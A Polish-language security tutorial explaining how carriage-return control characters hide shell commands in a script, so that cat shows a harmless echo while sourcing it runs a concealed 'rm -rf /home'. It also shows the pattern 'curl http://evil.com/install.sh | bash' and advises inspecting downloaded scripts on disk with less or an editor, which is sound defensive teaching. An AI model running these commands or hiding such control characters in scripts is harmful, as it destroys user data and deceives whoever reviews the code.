Atak Termulation znany jest od 2003 roku i jest bardzo zblizony do :ref:` Bash quote Attack <topic_ref-bash-quote-attack>`, jednak jego rozpoczęcie i przeprowadzenie jest trochę inne.
evil.sh
na dysku zgodnie z kodem poniżej:$ cat > evil.sh <<EOF
echo rm -rf /home; FOO=^M echo "nothing fishy here!"
EOF
Podpowiedź
Pamiętajcie żeby zamiast ^M
wpisac Ctrl + V i Ctrl + M (co spowoduje dodanie w skrypcie kodu ASCII 0d (hex)).
Kod x0d
lub jak kto woli ^M
oznacza w tablicy kodów ASCII „powrót karetki” - czyli przesunięcie kursora do 0 kolumny w wierszu terminala.
$ cat evil.sh
echo "nothing fishy here!"
Ostrzeżenie
Skrypt wyświetlony poleceniem cat nie zawiera niczego podejrzanego - polecenie echo rm -rf /home;
magicznie zostało pominięte.
evil.sh
spowoduje wykonanie dwóch poleceń :($ source evil.sh
rm -rf /home
nothing fishy here!
Zainteresowanym tematyką polecam też większy research w temacie.
Technika ukrywania poleceń skryptów przy wykorzystaniu znaków sterujących może być wykorzystana do `ukrycia w pliku jaki pobieramy "specjalnej" zawartości<https://sekurak.pl/ukrywanie-polecen-w-skryptach-shellowych-niezly-hack/>`__, a następnie jej uruchomieniu.
http://evil.com/install.sh
curl http://evil.com/install.sh | bash
$ curl http://evil.com/install.sh
....
....
....
$ curl http://evil.com/install.sh | bash
...
...
...
Jeżeli pobieramy jakiś skrpt z internetu i chcemy go uruchomić koniecznie sprawdźmy jego zawartość.
Pobranie skryptu poprzez polecenie curl (curl http://evil.com/install.sh
) i wyświetlenie go na terminalu bez zapisania to często za mało.
Zawartość kodów jakie uruchamiamy na swoim komputerze musimy sprawdzać wprost z naszego dysku twardego, wtedy mamy pewność, że zweryfikowaliśmy dokładnie ten sam zbiór jaki za chwilkę uruchomimy.
Sprawdzania nieznanym skryptów dokunujemy edytorami tekstu takimi jak vim, emacs, nano, pico lub poleceniami less, more.
Ostrzeżenie
Nie korzystamy z poleceń które nie obsługują quotowania znaków specjalnych.
Polecenie curl
i cat
przy domyslnej konfiguracji wypisze zawartość podanego zbioru na terminal w sposób „bezmyślny” - powodując tym samym,
że znaki sterujące ukryte w tych plikach zostaną przez terminal zinterpretowane.
Rozszerzeniem tej techniki jest ukrywanie poleceń w kolorowych napisach;).